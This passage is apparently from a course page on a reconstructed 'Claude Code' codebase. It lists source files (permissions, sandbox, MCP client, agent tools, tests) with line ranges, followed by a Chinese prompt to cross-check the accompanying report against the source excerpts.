  6. 06src/services/compact/autoCompact.tsL270–363, L28–93, L96–174, L286–293, L189–268
  7. 07src/tools.tsL378–420
  8. 08src/utils/permissions/permissions.tsL1179–1281, L1283–1340, L502–540, L392–470
  9. 09src/hooks/useCanUseTool.tsxL154–197
  10. 10packages/builtin-tools/src/tools/AgentTool/runAgent.tsL421–472, L509–673, L675–751, L741–773, L775–834, L844–889, L356–368, L756–773
  11. 11src/utils/sandbox/sandbox-adapter.tsL1–22, L459–485, L528–547
  12. 12src/utils/hooks.tsL1041–1088
  13. 13packages/builtin-tools/src/tools/BashTool/shouldUseSandbox.tsL18–20, L130–152
  14. 14src/services/mcp/client.tsL596–678, L709–905, L1030–1110, L210–229, L462–530
  15. 15src/services/mcp/config.tsL214–309, L336–430
  16. 16src/context.tsL36–111, L113–150, L152–188
  17. 17src/utils/plugins/pluginLoader.tsL1–29, L912–1092, L1314–1389
  18. 18src/skills/loadSkillsDir.tsL78–108, L182–260, L986–1054
  19. 19packages/builtin-tools/src/tools/AgentTool/loadAgentsDir.tsL58–132
  20. 20packages/builtin-tools/src/tools/AgentTool/forkSubagent.tsL18–71, L95–175
  21. 21packages/builtin-tools/src/tools/AgentTool/AgentTool.tsxL696–827, L829–912
  22. 22src/utils/sessionStorage.tsL130–168, L1023–1090, L1997–2073, L2110–2130
  23. 23src/utils/telemetry/instrumentation.tsL1–71, L119–205
  24. 24src/services/compact/__tests__/snipCompact.test.tsL1–80
  25. 25src/utils/permissions/__tests__/permissions.test.tsL1–80
  26. 26packages/builtin-tools/src/tools/AgentTool/__tests__/resumeAgent.test.tsL1–20
下一步

从课程回到报告,做一次反向核验

教程负责让你读懂,报告负责让你查证。打开报告页,任选一个章节,尝试只靠源码摘录复述它的边界。

查看 Claude Code(复原) 报告 ↗